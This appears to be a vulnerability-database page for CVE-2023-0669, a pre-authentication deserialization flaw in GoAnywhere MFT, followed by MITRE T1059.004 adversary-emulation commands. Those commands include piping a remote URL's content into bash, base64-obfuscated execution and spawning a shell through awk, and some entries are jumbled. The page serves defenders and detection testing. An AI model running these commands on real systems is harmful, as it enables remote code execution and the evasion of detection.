CVE-2023-0669

HIGH CISA KEV EXPLOIT POC TTE Zero-Day Pub 06/02 Upd 06/08

Overview

The vulnerability is a pre-authentication command injection caused by unsafe deserialization of attacker-controlled objects within the License Response Servlet of Fortra GoAnywhere MFT. The root cause is the deserialization of arbitrary, untrusted data without sufficient validation, enabling execution of malicious payloads. This flaw affects the License Response Servlet component, specifically handling license acceptance requests.

Vulnerability Description

Fortra (formerly, HelpSystems) GoAnywhere MFT suffers from a pre-authentication command injection vulnerability in the License Response Servlet due to deserializing an arbitrary attacker-controlled object. This issue was patched in version 7.1.2.

Impact

An unauthenticated attacker can execute arbitrary code on the affected system by sending a specially crafted request, gaining full control over the host. This includes executing system commands with the privileges of the application, potentially leading to data exfiltration, system compromise, and lateral movement within the network. No user interaction or prior authentication is required, increasing the attack surface significantly.

Solution

Apply the vendor patch by upgrading Fortra GoAnywhere MFT to version 7.1.2 or later, as detailed in the official advisory at https://my.goanywhere.com/webclient/ViewSecurityAdvisories.xhtml#zerodayfeb1. Follow the vendor’s instructions precisely to replace vulnerable components. No alternative mitigations are recommended beyond applying the official update.

cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt

Command (Shell)

chmod +x #{linenum}
bash #{linenum}

T1059.004 New script file in the tmp directory Linux Shell

An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...

Command (Shell)

TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE

T1059.004 Obfuscated command line scripts Linux Shell

An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...

Command (Shell)

[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART

T1059.004 Shell Creation using awk command Linux, macOS Shell

In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell

Command (Shell)

awk 'BEGIN {system("/bin/sh &")}'

T1059.004 Shell Creation using busybox command Linux Shell

if $(printenv SHELL >/dev/null); then printenv SHELL; fi

T1059.004 What shells are available Linux Shell

Command (Shell)

cat /etc/shells
